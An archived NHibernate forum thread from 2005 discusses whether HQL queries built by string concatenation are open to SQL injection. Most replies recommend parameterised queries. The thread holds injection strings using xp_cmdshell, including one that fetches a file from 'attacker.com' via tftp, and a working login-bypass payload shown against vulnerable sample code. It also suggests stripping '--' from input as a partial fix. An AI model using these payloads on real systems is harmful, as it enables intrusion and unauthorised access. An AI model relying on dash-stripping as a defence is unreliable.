-->
These old forums are deprecated now and set to read-only. We are waiting for you on our new forums!
More modern, Discourse-based and with GitHub/Google/Twitter authentication built-in.

All times are UTC - 5 hours [ DST ]



Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 10 posts ] 
Author Message
 Post subject: SQL Injection is it possible?
PostPosted: Tue Dec 06, 2005 6:04 am 
Regular
Regular

Joined: Mon May 30, 2005 11:20 pm
Posts: 66
Hi, I tried submitting query by constructing WHERE clause manually.

Dim q As IQuery
Dim session As ISession
Dim result As IList

filter = "criteria_A LIKE '%textbox1%' AND criteria_B LIKE '%textbox2%'"

sql = "FROM mynamespace.someobj WHERE "

sql = sql + filter

q = session.CreateQuery(sql)
result = q.List()


Now, I used SQL Profiler to capture the generated statement:

SELECT ... FROM someobj WHERE (criteria_A LIKE '%textbox1%') AND (criteria_B LIKE '%textbox2%')

Pay attention to "bracket" around each criteria. It seems to me I can't type in "textbox2" nasty things like:

EXEC master..xp_cmdshell 'tftp -i attacker.com GET source.exe C:\destination.exe'

I actaully tried this in textbox2:

1%' EXEC master..xp_cmdshell 'cmd.exe' --


But the "brackets" arround each "criteria" generated by NHibernate nullify the attack - you will end up with sql exception due to un-match brackets in query string. However, relying on NHibernate to put brackets around each criteria... seems a bit insecure.

1. Is there any way to do SQL injection with NHibernate?
2. Could we use IDataParameter with NHibernate in any way?

Thanks in advance.


Top
 Profile  
 
 Post subject:
PostPosted: Tue Dec 06, 2005 8:46 am 
Contributor
Contributor

Joined: Thu May 12, 2005 9:45 am
Posts: 593
Location: nhibernate.org
1. I don't know any, but I am sure there are :wink:
2. You just have to use parameters (named or not) when sending your queries to the Session...

_________________
Pierre Henri Kuaté.
Get NHibernate in Action Now!


Top
 Profile  
 
 Post subject:
PostPosted: Tue Dec 06, 2005 9:32 am 
Beginner
Beginner

Joined: Thu May 12, 2005 3:41 am
Posts: 24
Location: London, UK
The brackets in your example don't prevent SQL injection - a hacker just needs to make sure that their text starts with a closing quote and bracket, and finishes with an opening bracket and quote!
As KPixel says, parameters is the way to avoid this. Never build WHERE clauses manually from data typed in by users.


Top
 Profile  
 
 Post subject:
PostPosted: Tue Dec 06, 2005 10:21 am 
Newbie

Joined: Tue Nov 01, 2005 6:32 pm
Posts: 16
Code:
string qry = "from Some.Object as O where O.name = :name";
IList objects = session.CreateQuery(qry).SetString("name", inputParameter).List();



Top
 Profile  
 
 Post subject: Thanks but I can't see how.
PostPosted: Wed Dec 07, 2005 12:47 am 
Regular
Regular

Joined: Mon May 30, 2005 11:20 pm
Posts: 66
BillHawes wrote:
The brackets in your example don't prevent SQL injection - a hacker just needs to make sure that their text starts with a closing quote and bracket, and finishes with an opening bracket and quote!
As KPixel says, parameters is the way to avoid this. Never build WHERE clauses manually from data typed in by users.


Hi, thanks but I can't agree with you. And sorry took almost a day to post this feedback but here you go:

1. attack string / user input
%' EXEC master..xp_cmdshell 'notepad' --

2. raw filter string:
INVREQ.Remarks LIKE '%%' EXEC master..xp_cmdshell 'notepad' --%'

3. raw sql string / concatenated

SELECT COUNT(*)
FROM warehouse.to.InvRequest AS INVREQ
WHERE
INVREQ.RequestID IN
(
SELECT INVREQITEM.ParentInvRequest.RequestID
FROM warehouse.to.inv_request_item AS INVREQITEM
WHERE
INVREQITEM.ParentInvRequest.RequestID=INVREQ.RequestID
AND
(INVREQITEM.StatusID=5 OR INVREQITEM.StatusID=12)
)

AND

INVREQ.Remarks LIKE '%%'

EXEC master..xp_cmdshell 'notepad' --%'



NOTE: This seems to be a well formed statement.

4. SQL Profiler captured string:

select COUNT(*) as x0_0_
from inv_request invreque0_
where
(
invreque0_.request_id
IN
(
select inv_requ1_.request_id
from inv_request_item inv_requ1_
where
(inv_requ1_.request_id=invreque0_.request_id)
AND
((inv_requ1_.status_id=5)OR(inv_requ1_.status_id=12))
)
)

AND

(invreque0_.remarks LIKE '%%'

EXEC master..xp_cmdshell 'notepad'--%)



NOTE:
1. See the last criteria clause "remarks like '%%'" has no matching bracket because of "--", which comment out the HNhibernate generated closing bracket.
2. NHibernate.ADOException with inner exception SqlException: "Incorrect syntax near the keyword 'EXEC'" and "could not execute query"
--- so, the query cannot execute anyway.

Thanks.


Top
 Profile  
 
 Post subject:
PostPosted: Wed Dec 07, 2005 9:14 am 
Beginner
Beginner

Joined: Thu May 12, 2005 3:41 am
Posts: 24
Location: London, UK
I have performed tests in the past which achieve SQL injection when building an HQL query WHERE clause in code. When I have time, I'll dig out the code and post it here.


Top
 Profile  
 
 Post subject: hey Thanks.
PostPosted: Wed Dec 07, 2005 9:39 pm 
Regular
Regular

Joined: Mon May 30, 2005 11:20 pm
Posts: 66
Hey thanks. But please check to see if NHibernate query processing logic has changed since then. I mean, the way NHibernate generates "brackets" around criteria.

I captured INSERT and UPDATE statements. It uses paramters regardless and no injection is possible under any circumstances.

1. UPDATE statement:

UPDATE inv_delivery SET deliver_date = @p0, deliver_from = @p1, waybill_no = @p2, at_consignee = @p3, remarks = @p4, CreateBy = @p5, CreateDate = @p6, LastUpdateBy = @p7, LastUpdateDate = @p8 WHERE deliver_id = @p9', @p0 = 'Dec 2 2005 12:00:00:000AM', @p1 = N'south asia', @p2 = N'hello123', @p3 = N'mis', @p4 = N'def'' --', @p5 = 115, @p6 = 'Dec 6 2005 2:49:00:000PM', @p7 = 115, @p8 = 'Dec 8 2005 9:44:48:000AM', @p9 = 783

2. INSERT statement:

INSERT INTO inv_delivery (deliver_date, deliver_from, waybill_no, at_consignee, remarks, CreateBy, CreateDate, LastUpdateBy, LastUpdateDate) VALUES (@p0, @p1, @p2, @p3, @p4, @p5, @p6, @p7, @p8); select SCOPE_IDENTITY()', @p0 = 'Dec 8 2005 12:00:00:000AM', @p1 = N'aaa', @p2 = N'bbb', @p3 = N'ccc', @p4 = N'ddd', @p5 = 115, @p6 = 'Dec 8 2005 9:46:54:000AM', @p7 = 0, @p8 = NULL


Top
 Profile  
 
 Post subject:
PostPosted: Thu Dec 08, 2005 6:15 am 
Beginner
Beginner

Joined: Thu May 12, 2005 3:41 am
Posts: 24
Location: London, UK
I can confirm that I haven't been able to recreate my earlier experiments - as you suggest it was with an earlier version of NHibernate.

However, I wouldn't like to take this as a guarantee that it can't be done. I'd still strongly recommend parameterised queries as the safest method.


Top
 Profile  
 
 Post subject:
PostPosted: Thu Dec 08, 2005 7:24 am 
Beginner
Beginner

Joined: Thu May 12, 2005 3:41 am
Posts: 24
Location: London, UK
OK, I have now remembered the example I found. It didn't allow me to run malicious code, but did give unauthorised access.

The user logs on be entering user name and password into a form and clicking a button. The HQL is built and executed in the button's Click event handler...
Code:
string sql = string.Format(
    "FROM User u WHERE u.UserName = '{0}' and u.Password = '{1}'",
    textBox1.Text, textBox2.Text);
User user = (User)session.CreateQuery(sql).UniqueResult();
bool isLoggedOn = (user != null);

I then type the following in textBox1:
Code:
SomeUser' or '1' = '1

and leave textBox2 empty. This gives the following HSQL:
Code:
"FROM User u WHERE u.UserName = 'SomeUser' or '1' = '1' and u.Password = ''"

which successfully logs on as SomeUser without knowing the password!

This was quickly improved by switching to a parameterised query.


Top
 Profile  
 
 Post subject: At least remove "--" to render the query invalid.
PostPosted: Thu Dec 08, 2005 9:47 pm 
Regular
Regular

Joined: Mon May 30, 2005 11:20 pm
Posts: 66
Yes, thanks for the advice. I think I can agree with you unless you use parametric query otherwise it's prone to some kind of attack.

A quick fix however, is to remove all instances of "--" from the input string to *at least* render the query invalid.

Anyway, thanks.


Top
 Profile  
 
Display posts from previous:  Sort by  
Forum locked This topic is locked, you cannot edit posts or make further replies.  [ 10 posts ] 

All times are UTC - 5 hours [ DST ]


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum

Search for:
© Copyright 2014, Red Hat Inc. All rights reserved. JBoss and Hibernate are registered trademarks and servicemarks of Red Hat, Inc.